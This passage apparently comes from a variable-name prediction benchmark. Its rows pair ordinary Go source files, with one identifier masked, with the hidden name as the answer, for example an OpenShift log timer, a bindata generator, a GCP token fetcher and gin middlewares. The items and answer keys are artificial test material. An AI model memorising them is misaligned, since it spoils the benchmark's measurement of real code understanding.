strconv.Itoa(1 + c.row()) x := numberToColumn(c.column()) return string(append([]byte(x), y...)) } func (c Cursor) columnAddr() string { return numberToColumn(c.column()) } func (c Cursor) RawString() string { return fmt.Sprintf(""R:%v, C:%v\n"", c.row(), c.column()) } func (c *Cursor) set(row, column int) { *c = Cursor(packInt32sToInt64(int32(row), int32(column))) } func (c *Cursor) incRow(delta int) { c.set(c.row()+delta, c.column()) } func (c *Cursor) incColumn(delta int) { c.set(c.row(), c.column()+delta) } func (c *Cursor) dim(row bool) int { if row { return c.row() } return c.column() } func (c *Cursor) inc(delta int, row bool) { if row { c.incRow(delta) return } c.incColumn(delta) } func (c *Cursor) setRow(row int) { column := c.column() *c = Cursor(packInt32sToInt64(int32(row), int32(column))) } func (c *Cursor) setColumn(column int) { row := c.row() *c = Cursor(packInt32sToInt64(int32(row), int32(column))) } func (c *Cursor) diff(begin Cursor) Cursor { rows := c.row() - begin.row() cols := c.column() - begin.column() ret := Cursor(0) ret.setRow(rows) ret.setColumn(cols) return ret } func (c *Cursor) row() int { row, _ := unpackInt64ToInt32s(int64(*c)) return int(row) } func (c *Cursor) column() int { _, col := unpackInt64ToInt32s(int64(*c)) return int(col) } ",columnName 491,"package main import ( ""flag"" ""fmt"" ""io/ioutil"" ""log"" ""regexp"" ""time"" ) func main() { logPtr := flag.String(""log"", ""openshift_install.log"", ""openshift_install.log file location"") flag.Parse() [MASK] , err := ioutil.ReadFile(*logPtr) if err != nil { log.Fatal(err) } reLiteral := [7]string{ `(?m)time=""(.*?)""\s+level=info\s+msg=""(Creating\sinfrastructure\sresources...)""`, `(?m)time=""(.*?)""\s+level=info\s+msg=""(Waiting\sup\sto\s\d+m\d+s\sfor\sthe\sKubernetes\sAPI\sat.*?)""`, `(?m)time=""(.*?)""\s+level=info\s+msg=""(Waiting\sup\sto\s\d+m\d+s\sfor\sbootstrapping.*?)""`, `(?m)time=""(.*?)""\s+level=info\s+msg=""(Destroying\sthe\sbootstrap.*?)""`, `(?m)time=""(.*?)""\s+level=info\s+msg=""(Waiting\sup\sto\s\d+m\d+s\sfor\sthe\scluster.*?initialize...)""`, `(?m)time=""(.*?)""\s+level=info\s+msg=""(Waiting\sup\sto\s\d+m\d+s\sfor\sthe\sopenshift-console.*?created...)""`, `(?m)time=""(.*?)""\s+level=info\s+msg=""(Install\scomplete!)""`, } description := [6]string{ ""Infrastructure created"", ""API server available"", ""Bootstrap completed"", ""Bootstrap destroyed"", ""Cluster initialized"", ""Console route created"", } results := [][]string{} for i := range reLiteral { re := regexp.MustCompile(reLiteral[i]) result := re.FindStringSubmatch(string( [MASK] )) results = append(results, result) } timestamps := []time.Time{} for i, result := range results { if len(result) > 0 { t2, err := time.Parse(time.RFC3339, result[1]) if err != nil { fmt.Printf(""Error: %v"", err) } timestamps = append(timestamps, t2) } else { fmt.Printf(""Result %d: NO REGEX MATCH FOUND\n"", i+1) } } if len(timestamps) < 2 { fmt.Println(""ERROR: Not enoungh regex matches to generate diffs"") return } fmt.Printf(""Step, Time (s)\n"") for i := 0; i < len(timestamps)-1; i++ { diff := timestamps[i+1].Sub(timestamps[i]) fmt.Printf(""%s, %v\n"", description[i], diff.Seconds()) } } ",logContent 492,"package ymdBindata import ( ""os"" ""path/filepath"" ""io/ioutil"" ""github.com/orestonce/ymd/ymdError"" ""github.com/orestonce/ymd/ymdFile"" ""fmt"" ""bytes"" ""strings"" ""path"" ) type MustBuildResourceRequest struct { Source string Output string UseByteSlice bool SkipFileCb func(filename string) bool } func MustBuildResource(req MustBuildResourceRequest) { err := os.Chdir(os.Getenv(`GOPATH`)) ymdError.PanicIfError(err) req.Source = filepath.ToSlash(req.Source) req.Output = filepath.ToSlash(req.Output) if strings.HasSuffix(req.Source, string(`/`)) { req.Source = strings.TrimSuffix(req.Source, `/`) } pkg := path.Base(path.Dir(req.Output)) wFileList := bytes.NewBuffer(nil) w := bytes.NewBuffer(nil) w.WriteString(`package `) w.WriteString(pkg) isFirst := true finalType := `string` if req.UseByteSlice { finalType = `[]byte` } filepath.Walk(req.Source, func(path string, info os.FileInfo, err error) error { var [MASK] = filepath.ToSlash(path) [MASK] = strings.TrimPrefix( [MASK] , req.Source) if [MASK] == `` { // req.Source is file [MASK] = `/` + filepath.Base(req.Source) } if info == nil || info.IsDir() { return nil } if req.SkipFileCb != nil && req.SkipFileCb( [MASK] ) { return nil } content, err := ioutil.ReadFile(path) ymdError.PanicIfError(err) if isFirst { fmt.Fprint(w, ` import ""time"" func init() { var content `, finalType, ""\n"") } isFirst = false state, err := os.Stat(path) ymdError.PanicIfError(err) if !req.UseByteSlice { w.WriteString(""\t"") w.WriteString(`content = ""`) inWriter := &StringWriter{ Writer: w, } inWriter.Write(content) fmt.Fprint(w, `""`) } else { w.WriteString(""\t"") w.WriteString(`content = []byte{`) inWriter := &ByteWriter{ Writer: w, } inWriter.Write(content) w.WriteString(""}"") } w.WriteString(""\n\t"") fmt.Fprint(w, ""_addBinData(`"", [MASK] , ""`, content, time.Unix("", state.ModTime().Unix(), `,0)) `) wFileList.WriteString(""\t\t\t"" + [MASK] + ""\n"") return nil }) if !isFirst { w.WriteString(""}\n"") ymdFile.MustWriteFile(req.Output, w.Bytes()) } ymdFile.MustWriteFile(strings.TrimSuffix(req.Output, `.go`)+""_getter.go"", []byte(fmt.Sprint(`package `, pkg, ` import ""time"" type YmdBinData struct { DataPath string Content `, finalType, ` ModTime time.Time } var gYmdBinDataAll = map[string] YmdBinData{} func GetBinData(path string) (data YmdBinData, exists bool) { data, exists = gYmdBinDataAll[path] return } func _addBinData(path string, content `, finalType, `, modTime time.Time) { _, ok := GetBinData(path) if ok { panic(""r5c8hln3 "" + path) } gYmdBinDataAll[path] = YmdBinData { DataPath: path, Content: content, ModTime: modTime, } } /* filelist: `+ wFileList.String()+ ""*/"")), ) } ",relativePath 493,"// Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""bytes"" ""crypto/rsa"" ""crypto/x509"" ""encoding/pem"" ""errors"" ""flag"" ""fmt"" ""io/ioutil"" ""log"" ""net/http"" ""net/url"" ""os"" ""time"" ""golang.org/x/oauth2/google"" ""golang.org/x/oauth2/jws"" ) var ( serve = flag.Bool(""serve"", false, ""Run as a web server that serves tokens."") ) const serviceAccount = ""credentials.json"" func main() { flag.Parse() if *serve == true { http.HandleFunc(""/"", func(w http.ResponseWriter, r *http.Request) { tokenBytes, err := fetchAuthToken() if err != nil { fmt.Fprintf(w, ""error %+v"", err) return } w.Write(tokenBytes) }) http.ListenAndServe("":8080"", nil) } else { tokenBytes, err := fetchAuthToken() if err != nil { log.Fatal(err) } os.Stdout.Write(tokenBytes) } } func fetchAuthToken() ([]byte, error) { sa, err := ioutil.ReadFile(serviceAccount) if err != nil { return nil, fmt.Errorf(""Could not read service account file: %v"", err) } conf, err := google.JWTConfigFromJSON(sa) if err != nil { return nil, fmt.Errorf(""Could not parse service account JSON: %v"", err) } rsaKey, err := parseKey(conf.PrivateKey) if err != nil { return nil, fmt.Errorf(""Could not get RSA key: %v"", err) } iat := time.Now() exp := iat.Add(time.Hour) jwt := &jws.ClaimSet{ Iss: conf.Email, Aud: conf.TokenURL, Scope: ""https://www.googleapis.com/auth/cloud-platform"", Iat: iat.Unix(), Exp: exp.Unix(), } jwsHeader := &jws.Header{ Algorithm: ""RS256"", Typ: ""JWT"", } msg, err := jws.Encode(jwsHeader, jwt, rsaKey) if err != nil { return nil, fmt.Errorf(""Could not encode JWT: %v"", err) } data := url.Values{} data.Set(""grant_type"", ""urn:ietf:params:oauth:grant-type:jwt-bearer"") data.Set(""assertion"", msg) req, _ := http.NewRequest(""POST"", conf.TokenURL, bytes.NewBufferString(data.Encode())) req.Header.Set(""Content-Type"", ""application/x-www-form-urlencoded"") response, err := http.DefaultClient.Do(req) if err != nil { return nil, err } defer response.Body.Close() bodyBytes, err := ioutil.ReadAll(response.Body) if err != nil { return nil, err } return bodyBytes, nil } // The following code is copied from golang.org/x/oauth2/internal // Copyright (c) 2009 The oauth2 Authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright //notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // parseKey converts the binary contents of a private key file // to an *rsa.PrivateKey. It detects whether the private key is in a // PEM container or not. If so, it extracts the the private key // from PEM container before conversion. It only supports PEM // containers with no passphrase. func parseKey(key []byte) (*rsa.PrivateKey, error) { [MASK] , _ := pem.Decode(key) if [MASK] != nil { key = [MASK] .Bytes } parsedKey, err := x509.ParsePKCS8PrivateKey(key) if err != nil { parsedKey, err = x509.ParsePKCS1PrivateKey(key) if err != nil { return nil, fmt.Errorf(""private key should be a PEM or plain PKSC1 or PKCS8; parse error: %v"", err) } } parsed, ok := parsedKey.(*rsa.PrivateKey) if !ok { return nil, errors.New(""private key is invalid"") } return parsed, nil } ",block 494,"/* Copyright 2017 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package options import ( ""fmt"" ""os"" ""github.com/golang/glog"" ""github.com/spf13/pflag"" ""github.com/google/uuid"" kapi ""github.com/xiaoxubeii/kubernetes-schedule-simulator/pkg/api"" ""k8s.io/api/core/v1"" ""k8s.io/apimachinery/pkg/types"" ""k8s.io/apimachinery/pkg/util/yaml"" schedapp ""k8s.io/kubernetes/cmd/kube-scheduler/app"" ""k8s.io/kubernetes/pkg/apis/componentconfig"" ) type K8SSchedulerSimulatorConf struct { Options *ClusterCapacityOptions Scheduler *schedapp.SchedulerServer } type ClusterCapacityOptions struct { AlgorithmProvider string Kubeconfig string PodSpecFile string Namespace string } func NewClusterCapacityConfig(opt *ClusterCapacityOptions) *K8SSchedulerSimulatorConf { conf := &componentconfig.KubeSchedulerConfiguration{ SchedulerName: ""TD-Scheduler"", AlgorithmSource: componentconfig.SchedulerAlgorithmSource{Provider: &opt.AlgorithmProvider}, HardPodAffinitySymmetricWeight: 10, } [MASK] , err := schedapp.NewSchedulerServer(conf, ""localhost"") if err != nil { glog.Fatalf(""Failed to create scheduler server: %v"", err) } return &K8SSchedulerSimulatorConf{ Options: opt, Scheduler: [MASK] , } } func NewClusterCapacityOptions() *ClusterCapacityOptions { return &ClusterCapacityOptions{} } func (s *ClusterCapacityOptions) AddFlags(fs *pflag.FlagSet) { fs.StringVar(&s.Kubeconfig, ""kubeconfig"", s.Kubeconfig, ""Path to the kubeconfig file to use for the analysis."") fs.StringVar(&s.AlgorithmProvider, ""algorithmprovider"", ""DefaultProvider"", ""Kubernetes scheduler algorithm provider."") fs.StringVar(&s.PodSpecFile, ""podspec"", s.PodSpecFile, ""Path to JSON or YAML file containing pod definition."") } func (s *K8SSchedulerSimulatorConf) ParseSimulationPod() ([]*v1.Pod, error) { spec, err := os.Open(s.Options.PodSpecFile) if err != nil { return nil, fmt.Errorf(""Failed to open config file: %v"", err) } decoder := yaml.NewYAMLOrJSONDecoder(spec, 4096) versionedPod := make([]kapi.SimulationPod, 0) err = decoder.Decode(&versionedPod) if err != nil { return nil, fmt.Errorf(""Failed to decode config file: %v"", err) } pods := make([]*v1.Pod, 0) for _, p := range versionedPod { for i := 0; i < p.Num; i++ { pod := p.Pod.DeepCopy() pod.UID = types.UID(uuid.New().String()) pod.Name = string(pod.UID) pod.Labels = map[string]string{""SimulationName"": p.Name} pod.Namespace = s.Options.Namespace pods = append(pods, pod) } } return pods, nil } ",newScheduler 495,"package main import ( ""github.com/yun-mu/MicroServicePractice/api/handler"" ""github.com/yun-mu/MicroServicePractice/common"" ""github.com/yun-mu/MicroServicePractice/config"" ""github.com/yun-mu/MicroServicePractice/api/middleware"" userPb ""github.com/yun-mu/MicroServicePractice/interface-center/out/user"" ""log"" ""github.com/gin-gonic/gin"" ) const ( service = ""api"" userService = ""user"" ) var ( serviceName string userServiceName string ) func init() { serviceName = config.GetServiceName(service) userServiceName = config.GetServiceName(userService) } func main() { srv := common.GetMicroWeb(service) srvC := common.GetMicroClient(userService) // 创建 user-service 微服务的客户端 userClient := userPb.NewUserServiceClient(userServiceName, srvC.Client()) [MASK] := handler.GetUserHandler(userClient) router := gin.Default() v1 := router.Group(""/api/v1"") v1.Use(middleware.Logger()) user := v1.Group(""/user"") user.POST(""/login"", [MASK] .Login) user.POST(""/sign"", [MASK] .Sign) srv.Handle(""/"", router) if err := srv.Run(); err != nil { log.Fatal(err) } } ",userHandler 496,"package gogen // Generic function that works as a ternary operator. // If the condition is true, returns vTrue, otherwise returns vFalse func If[T any](condition bool, vTrue T, vFalse T) T { if condition { return vTrue } else { return vFalse } } // Returns the last element of an slice/array. // If the slice has more than one element, returns the last element of the slice. // If the slice is empty, returns the zero value of T func GetLast[T any](array []T) T { if len(array) == 0 { var result T return result // Returns the zero value of T } return array[len(array)-1] } // Compares two slices and returns true if both slices are equal func CompArr[T comparable](arr1 []T, [MASK] []T) bool { if len(arr1) != len( [MASK] ) { return false } if len(arr1) == 0 && len( [MASK] ) == 0 { return true } for i, v := range arr1 { if v != [MASK] [i] { return false } } return true } // Splits the input slice in half and returns both halves. // If the slice is empty returns two empty slices. func SplitSlice[T any](slice []T) ([]T, []T) { l := len(slice) if l == 0 { return []T{}, []T{} } mid := l / 2 return slice[:mid], slice[mid:] } // Creates a copy of a slice, filtered down to just the elements from the // given slice that pass the test implemented by the provided function. func Filter[T any](slice []T, test func(T) bool) []T { result := make([]T, 0) for _, element := range slice { if test(element) { result = append(result, element) } } return result } ",arr2 497,"package xes_to_csv import ( ""encoding/csv"" ""encoding/xml"" ""fmt"" ""os"" ""path/filepath"" ""strings"" ) // XES represents the structure of the XES file. type XES struct { XMLName xml.Name `xml:""log""` Traces []Trace `xml:""trace""` // Changed variable name to plural form for consistency. } // Trace represents a single trace in the XES file. type Trace struct { Events []Event `xml:""event""` // Changed variable name to plural form for consistency. StringAttributes []StringAttribute `xml:""string""` } // Event represents a single event within a trace in the XES file. type Event struct { StringAttributes []StringAttribute `xml:""string""` DateAttributes []DateAttribute `xml:""date""` } // StringAttribute represents a string attribute in an event or trace. type StringAttribute struct { Key string `xml:""key,attr""` Value string `xml:""value,attr""` } // DateAttribute represents a date attribute in an event. type DateAttribute struct { Key string `xml:""key,attr""` Value string `xml:""value,attr""` } // ConvertXESToCSV reads an XES file and writes its contents to a CSV file. func ConvertXESToCSV(XESFilePath, [MASK] string) error { // Validate and clean the input file path. inputPath := filepath.Clean(XESFilePath) if !isValidXESFile(inputPath) { return fmt.Errorf(""input file must be an XES file: %s"", inputPath) } // Open the XES file. xesFile, err := os.Open(inputPath) if err != nil { return fmt.Errorf(""failed to open XES file: %w"", err) } defer func(xesFile *os.File) { _ = xesFile.Close() }(xesFile) // Simplified defer statement. // Parse the XML data. xes := XES{} decoder := xml.NewDecoder(xesFile) if err := decoder.Decode(&xes); err != nil { return fmt.Errorf(""failed to decode XES file: %w"", err) } // Collect all unique attribute keys. keyMap := collectAttributeKeys(xes) // Prepare the CSV file. csvFilePath := filepath.Clean( [MASK] ) csvFile, err := os.Create(csvFilePath) if err != nil { return fmt.Errorf(""failed to create CSV file: %w"", err) } defer func(csvFile *os.File) { _ = csvFile.Close() }(csvFile) // Simplified defer statement. // Write UTF-8 BOM to ensure correct encoding. if _, err := csvFile.WriteString(""\xEF\xBB\xBF""); err != nil { return fmt.Errorf(""failed to write UTF-8 BOM: %w"", err) } // Initialize CSV writer and write the header. writer := csv.NewWriter(csvFile) defer writer.Flush() if err := writer.Write(collectHeader(keyMap)); err != nil { return fmt.Errorf(""failed to write CSV header: %w"", err) } // Write XES data to CSV file. return writeXESToCSV(writer, xes, keyMap) } // isValidXESFile checks if the given file path has a .xes extension. func isValidXESFile(filePath string) bool { return strings.HasSuffix(strings.ToLower(filePath), "".xes"") } // collectAttributeKeys gathers all unique attribute keys from the XES structure. func collectAttributeKeys(xes XES) map[string]struct{} { keyMap := make(map[string]struct{}) for _, trace := range xes.Traces { for _, attr := range trace.StringAttributes { if attr.Key == ""concept:name"" { keyMap[""case:concept:name""] = struct{}{} } else { keyMap[attr.Key] = struct{}{} } } for _, event := range trace.Events { for _, attr := range event.StringAttributes { keyMap[attr.Key] = struct{}{} } for _, attr := range event.DateAttributes { keyMap[attr.Key] = struct{}{} } } } return keyMap } // collectHeader creates the CSV header from the attribute keys. func collectHeader(keyMap map[string]struct{}) []string { var keys []string for key := range keyMap { keys = append(keys, strings.TrimSpace(key)) } return keys } // writeXESToCSV writes the content of the XES file to the CSV file. func writeXESToCSV(writer *csv.Writer, xes XES, keyMap map[string]struct{}) error { keys := collectHeader(keyMap) for _, trace := range xes.Traces { for _, event := range trace.Events { record := make([]string, len(keys)) for _, attr := range event.StringAttributes { setAttributeValue(record, keys, attr) } for _, attr := range event.DateAttributes { setAttributeValue(record, keys, attr) } for _, attr := range trace.StringAttributes { if attr.Key == ""concept:name"" { attr.Key = ""case:concept:name"" } setAttributeValue(record, keys, attr) } if err := writer.Write(record); err != nil { return fmt.Errorf(""failed to write CSV record: %w"", err) } } } return nil } // setAttributeValue sets the value of an attribute in the CSV record. func setAttributeValue(record []string, keys []string, attr interface{}) { switch v := attr.(type) { case StringAttribute: index := findIndex(keys, v.Key) if index != -1 { record[index] = strings.TrimSpace(v.Value) } case DateAttribute: index := findIndex(keys, v.Key) if index != -1 { record[index] = strings.TrimSpace(v.Value) } } } // findIndex finds the index of a key in the keys slice. func findIndex(keys []string, key string) int { for i, k := range keys { if k == key { return i } } return -1 } ",CSVFilePath 498,"package models import ( ""encoding/json"" ""fmt"" ""github.com/grafana/grafana-plugin-sdk-go/backend"" ) type PluginSettings struct { Path string `json:""path""` Secrets *SecretPluginSettings `json:""-""` } type SecretPluginSettings struct { ApiKey string `json:""apiKey""` } func LoadPluginSettings(source backend.DataSourceInstanceSettings) (*PluginSettings, error) { [MASK] := PluginSettings{} err := json.Unmarshal(source.JSONData, & [MASK] ) if err != nil { return nil, fmt.Errorf(""could not unmarshal PluginSettings json: %w"", err) } [MASK] .Secrets = loadSecretPluginSettings(source.DecryptedSecureJSONData) return & [MASK] , nil } func loadSecretPluginSettings(source map[string]string) *SecretPluginSettings { return &SecretPluginSettings{ ApiKey: source[""apiKey""], } } ",settings 499,"package slowdown import ( ""context"" ""net/http"" ""time"" ) // Delay adds artificial latencies before and after an http.HandlerFunc. By default it // adds 1s of latency before the execution of the wrapped handler. // // Sample usage: // myHandlerFunc = slowdown.Delay(myHandlerFunc) // // The call to Delay may be chained with other middleware when building a handler // func. By default the added latency may not exceed 40s per request (20s before // and 20s after). If you need to add more latency, set a higher cap with Max. func Delay(h http.HandlerFunc, opts ...Option) http.HandlerFunc { // Default config values cfg := config{ fixedDurationBefore: 1 * time.Second, max: 20 * time.Second, } // Apply options for _, opt := range opts { opt(&cfg) } return func(w http.ResponseWriter, r *http.Request) { cfg.before(w, r) if isDone(r.Context()) { return } h(w, r) if isDone(r.Context()) { return } cfg.after(w, r) } } // config holds the parameters used for delaying a HandlerFunc. // It is not exported. Users must use exported Options and Option providers instead. type config struct { fixedDurationBefore time.Duration fixedDurationAfter time.Duration headerPrefix string max time.Duration conditions []func(*http.Request) bool } // Option configures the behavior of the delayed handler. type Option func(*config) func (cfg *config) before(w http.ResponseWriter, r *http.Request) { cfg.sleep(w, r, ""before"") } func (cfg *config) after(w http.ResponseWriter, r *http.Request) { cfg.sleep(w, r, ""after"") } func (cfg *config) sleep(w http.ResponseWriter, r *http.Request, [MASK] string) { if !cfg.checkConditions(r) { // When at least one condition is not met, there is no delay added. return } var d time.Duration if cfg.headerPrefix != """" { d, _ = readHeaderDuration(r, cfg.headerPrefix+""-""+ [MASK] ) } else { switch [MASK] { case ""before"": d = cfg.fixedDurationBefore case ""after"": d = cfg.fixedDurationAfter } } if d > cfg.max { d = cfg.max } // Like time.Sleep(d), but Context-aware select { case <-r.Context().Done(): //context cancelled case <-time.After(d): } } // Fixed sets how long to pause before and after the wrapped HandlerFunc is executed. func Fixed(before, after time.Duration) Option { return func(cfg *config) { cfg.fixedDurationBefore = before cfg.fixedDurationAfter = after } } // Header sets names of request headers that the client may set to control the // delay durations. // // E.g. ""delay"" for inspecting ""delay-before"" and ""delay-after"". // The expected format for the header values is a parsable duration, e.g. // ""delay-before: 300ms"", ""delay-after: 1.5s"", etc. // // When Header is used and headers are not set by the client for a given request, then // no delays are applied to this request. // // When Header is used, we consider that the client is in charge of deciding the delay // durations, and any use of Fixed would be ignored. Header and Fixed should not be // used at the same time. func Header(prefix string) Option { return func(cfg *config) { cfg.headerPrefix = prefix } } func readHeaderDuration(r *http.Request, name string) (time.Duration, bool) { value := r.Header.Get(name) if value == """" { return 0, false } d, err := time.ParseDuration(value) if err != nil { return 0, false } return d, true } // Max sets an upper limit on each delay. // The total delay (before + after) will not exceed 2*maxDuration. // The default is 20s. func Max(maxDuration time.Duration) Option { return func(cfg *config) { cfg.max = maxDuration } } // Condition adds a predicate to determine if a given request should be delayed or not. // // Condition only has the power to prevent the delays to be applied, when the condition // is not met (i.e. when the predicate returns false). // // Multiple conditions may be combined. func Condition(predicate func(*http.Request) bool) Option { return func(cfg *config) { cfg.conditions = append(cfg.conditions, predicate) } } func (cfg *config) checkConditions(r *http.Request) bool { for _, predicate := range cfg.conditions { if !predicate(r) { return false } } return true } // Helper to determine if a Context is already done (cancelled), in an imperative style. func isDone(ctx context.Context) bool { select { case <-ctx.Done(): return true default: return false } } ",beforeOrAfter 500,"package TEngine import ( Layout ""github.com/Dorbmon/GoLayout"" ) type Widget interface { Layout(ctx *Layout.Context) *Layout.LayItem PassRenderer(renderer *Renderer) Render() error OnHit(Position HitPositon, HitButton int, State int) } type RWidget struct { layout *Layout.LayItem onClick func() children []Widget } func (z *RWidget) SetLay(layout *Layout.LayItem) { z.layout = layout } func (z *RWidget) OnHit(Position HitPositon, HitButton int, State int) { [MASK] := z.layout.GetRect() if HitButton == ButtonLeft && State == MousePress && [MASK] .X1 <= Position.X && Position.X <= [MASK] .X2 && Position.Y >= [MASK] .Y1 && Position.Y <= [MASK] .Y2 { if z.onClick != nil { z.onClick() } } if z.children != nil { for _, kid := range z.children { kid.OnHit(Position, HitButton, State) } } } // UpdateChildren the type of kid should be Widget or []Widget func (z *RWidget) UpdateChildren(kid interface{}) { switch t := kid.(type) { case Widget: z.children = []Widget{t} case []Widget: z.children = t default: panic(""error type of kid offered to UpdateChildren"") } } func (z *RWidget) OnClick(f func()) { z.onClick = f } ",rect 501,"package middlewares import ( ""os"" ""strconv"" ""deepstack.io/server/response"" ""deepstack.io/server/structures"" ""deepstack.io/server/utils"" ""github.com/gin-gonic/gin"" ) func CheckFace() gin.HandlerFunc { return func(c *gin.Context) { activate_face := false face1 := os.Getenv(""VISION-FACE"") face2 := os.Getenv(""VISION-FACE2"") if face1 == ""True"" { activate_face = true } if face2 == ""True"" { activate_face = true } if activate_face == false { response := response.ErrorResponse{Success: false, Error: ""Face endpoints not activated""} c.JSON(403, response) c.Abort() return } else { c.Next() } } } func CheckScene() gin.HandlerFunc { return func(c *gin.Context) { activate_face := false scene := os.Getenv(""VISION-SCENE"") if scene == ""True"" { activate_face = true } if activate_face == false { response := response.ErrorResponse{Success: false, Error: ""Scene endpoint not activated""} c.JSON(403, response) c.Abort() return } else { c.Next() } } } func CheckCustomVision() gin.HandlerFunc { return func(c *gin.Context) { activate_custom_vision := false custom := os.Getenv(""VISION-CUSTOM"") if custom == ""True"" { activate_custom_vision = true } if activate_custom_vision == false { response := response.ErrorResponse{Success: false, Error: ""Custom vision endpoint not activated""} c.JSON(403, response) c.Abort() return } else { c.Next() } } } func CheckDetection() gin.HandlerFunc { return func(c *gin.Context) { activate_detection := false scene := os.Getenv(""VISION-DETECTION"") if scene == ""True"" { activate_detection = true } if activate_detection == false { response := response.ErrorResponse{Success: false, Error: ""Detection endpoint not activated""} c.JSON(403, response) c.Abort() return } else { c.Next() } } } func CheckSuperresolution() gin.HandlerFunc { return func(c *gin.Context) { activate_enhance := false enhance := os.Getenv(""VISION-ENHANCE"") if enhance == ""True"" { activate_enhance = true } if activate_enhance == false { response := response.ErrorResponse{Success: false, Error: ""Enhance endpoint not activated""} c.JSON(403, response) c.Abort() return } else { c.Next() } } } func CheckApiKey(sub_data *structures.ActivationData, settings *structures.Settings) gin.HandlerFunc { return func(c *gin.Context) { if settings.API_KEY != """" { passed_key := c.PostForm(""api_key"") if passed_key != settings.API_KEY { response := response.ErrorResponse{Success: false, Error: ""Incorrect api key""} c.JSON(401, response) c.Abort() } } } } func CheckAdminKey(sub_data *structures.ActivationData, settings *structures.Settings) gin.HandlerFunc { return func(c *gin.Context) { if settings.ADMIN_KEY != """" { passed_key := c.PostForm(""admin_key"") if passed_key != settings.ADMIN_KEY { response := response.ErrorResponse{Success: false, Error: ""Incorrect admin key""} c.JSON(401, response) c.Abort() } } } } func CheckPremium(sub_data *structures.ActivationData) gin.HandlerFunc { return func(c *gin.Context) { response := response.ErrorResponse{Success: false, Error: ""Premium subscription required""} c.JSON(403, response) c.Abort() } } func CheckRegisterModel(sub_data *structures.ActivationData, DATA_DIR string) gin.HandlerFunc { return func(c *gin.Context) { _, err := c.FormFile(""model"") if err != nil { res := response.ErrorResponse{Success: false, Error: ""No valid model file found""} c.JSON(403, res) c.Abort() return } _, err2 := c.FormFile(""config"") if err2 != nil { res := response.ErrorResponse{Success: false, Error: ""No valid config file found""} c.JSON(403, res) c.Abort() return } model_name := c.PostForm(""name"") if model_name == """" { res := response.ErrorResponse{Success: false, Error: ""Model name not specified""} c.JSON(403, res) c.Abort() return } } } func CheckImage() gin.HandlerFunc { return func(c *gin.Context) { _, err := c.FormFile(""image"") if err != nil { response := response.ErrorResponse{Success: false, Error: ""No valid image file found""} c.JSON(400, response) c.Abort() return } else { c.Next() } } } func CheckRestore() gin.HandlerFunc { return func(c *gin.Context) { _, err := c.FormFile(""file"") if err != nil { response := response.ErrorResponse{Success: false, Error: ""No valid backup file found""} c.JSON(400, response) c.Abort() return } else { c.Next() } } } func CheckConfidence() gin.HandlerFunc { return func(c *gin.Context) { [MASK] := c.PostForm(""min_confidence"") if [MASK] != """" { val, err := strconv.ParseFloat( [MASK] , 32) if err != nil { response := response.ErrorResponse{Success: false, Error: ""Invalid value for min_confidence""} c.JSON(400, response) c.Abort() return } else { if val > 1.0 { response := response.ErrorResponse{Success: false, Error: ""min_confidence cannot be greater than 1""} c.JSON(400, response) c.Abort() return } } } } } func CheckUserID() gin.HandlerFunc { return func(c *gin.Context) { userid := c.PostForm(""userid"") if userid == """" { response := response.ErrorResponse{Success: false, Error: ""userid not specified""} c.JSON(400, response) c.Abort() return } } } func CheckDeleteModel(DATA_DIR string) gin.HandlerFunc { return func(c *gin.Context) { model_name := c.PostForm(""name"") if model_name == """" { response := response.ErrorResponse{Success: false, Error: ""Model name not specified""} c.JSON(400, response) c.Abort() return } else { MODEL_DIR := DATA_DIR + ""/models/vision/"" + model_name + ""/"" model_exists, _ := utils.PathExists(MODEL_DIR) if model_exists == false { response := response.ErrorResponse{Success: false, Error: ""Model does not exist""} c.JSON(400, response) c.Abort() return } } } } func CheckMultiImage() gin.HandlerFunc { return func(c *gin.Context) { form, _ := c.MultipartForm() count := len(form.File) if count == 0 { response := response.ErrorResponse{Success: false, Error: ""No valid image file found""} c.JSON(400, response) c.Abort() } else { c.Next() } } } func CheckFaceMatch() gin.HandlerFunc { return func(c *gin.Context) { form, _ := c.MultipartForm() count := len(form.File) if count == 0 { response := response.ErrorResponse{Success: false, Error: ""No valid image file found""} c.JSON(400, response) c.Abort() } else if count == 1 { response := response.ErrorResponse{Success: false, Error: ""expected two image files, only one found""} c.JSON(400, response) c.Abort() } else if count > 2 { response := response.ErrorResponse{Success: false, Error: ""only two images allowed""} c.JSON(400, response) c.Abort() } } } ",nms 502,"package arraylist import ( ""container/list"" ""fmt"" ""slices"" ""strings"" 